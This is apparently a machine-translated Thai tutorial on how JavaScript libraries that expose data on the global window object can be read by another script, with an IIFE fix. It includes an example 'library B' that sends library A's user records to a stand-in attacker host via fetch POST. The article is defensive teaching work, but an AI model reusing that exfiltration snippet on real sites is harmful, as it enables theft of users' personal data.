ลดการละเมิดความปลอดภัยใน JavaScript โดยการลดความเสี่ยงทั่วโลก

เริ่มต้นบทความนี้ด้วยสถานการณ์ง่ายๆ สมมติว่ามีเว็บไซต์ example.com และเว็บไซต์นี้ใช้ไลบรารี A และ B สองไลบรารี ไลบรารี A กำลังทำงานกับข้อมูลที่ละเอียดอ่อนบางอย่าง และเป็นสิ่งสำคัญอย่างยิ่งที่ไม่ควรมีใครเข้าถึงข้อมูลดังกล่าวโดยไม่ได้รับอนุญาต ตอนนี้ สมมติว่า example.com เป็นที่นิยมอย่างมาก และอีฟวิเคราะห์ไซต์และเห็นว่าไซต์กำลังใช้ไลบรารี A และ B เธอวิเคราะห์ไลบรารี A และพบการละเมิดความปลอดภัย ซึ่งเกิดจากการเปิดเผยข้อมูลทั่วโลก (เราจะ อภิปรายหัวข้อนี้โดยละเอียดด้านล่าง) ตอนนี้อีฟคิดเกี่ยวกับวิธีที่เธอสามารถเข้าถึงห้องสมุด A เพื่อที่เธอจะสามารถดึงข้อมูลของมันและวางแผนการทำงานที่มุ่งเป้าไปที่การเข้าถึงห้องสมุด B (สมมติว่าสำหรับอีฟแล้ว การเข้าถึงซอร์สโค้ดของห้องสมุด B และการเปลี่ยนแปลงนั้นเป็นเรื่องง่าย มัน) และผ่านห้องสมุด B เข้าถึงเนื้อหาของห้องสมุด A
ตอนนี้เรามาคุยกันว่าอีฟทำได้อย่างไร ซอร์สโค้ดของ example.com มีลักษณะดังนี้:
<!DOCTYPE html>
<html>
<head>
<title>example.com</title>
</head>
<body>
<script src="./library-a.js"></script>
<script src="./example-com.js"></script>
<script src="./library-b.js"></script>
</body>
</html>
- ห้องสมุด ก
- สคริปต์ของ example.com
- ห้องสมุด ข.
// library-a.js
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
window.libraryA = new LibraryA()
// example-com.js
window.libraryA.init()
// library-b.js
class LibraryB {
constructor() {
this.sendDataToEve()
}
sendDataToEve() {
// Eve's endpoint
fetch('https://0123456789.com', {
method: 'POST',
body: JSON.stringify({ users: window.libraryA.users })
})
}
}
window.libraryB = new LibraryB()
ในการแก้ไขช่องโหว่นี้ เราสามารถใช้ฟังก์ชัน IIFE (Immediately Invoked Function Expression) และเปิดเผยเฉพาะเมธอด API สาธารณะinit
ในลักษณะต่อไปนี้:
// library-a.js
window.libraryA = (() => {
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
const _libraryA = new LibraryA()
return {
init: _libraryA.init.bind(_libraryA)
}
})()
ขอบคุณที่อ่านบทความนี้ ฉันหวังว่าคุณจะสนุกกับมัน คุณสามารถติดตามฉันได้ที่Twitter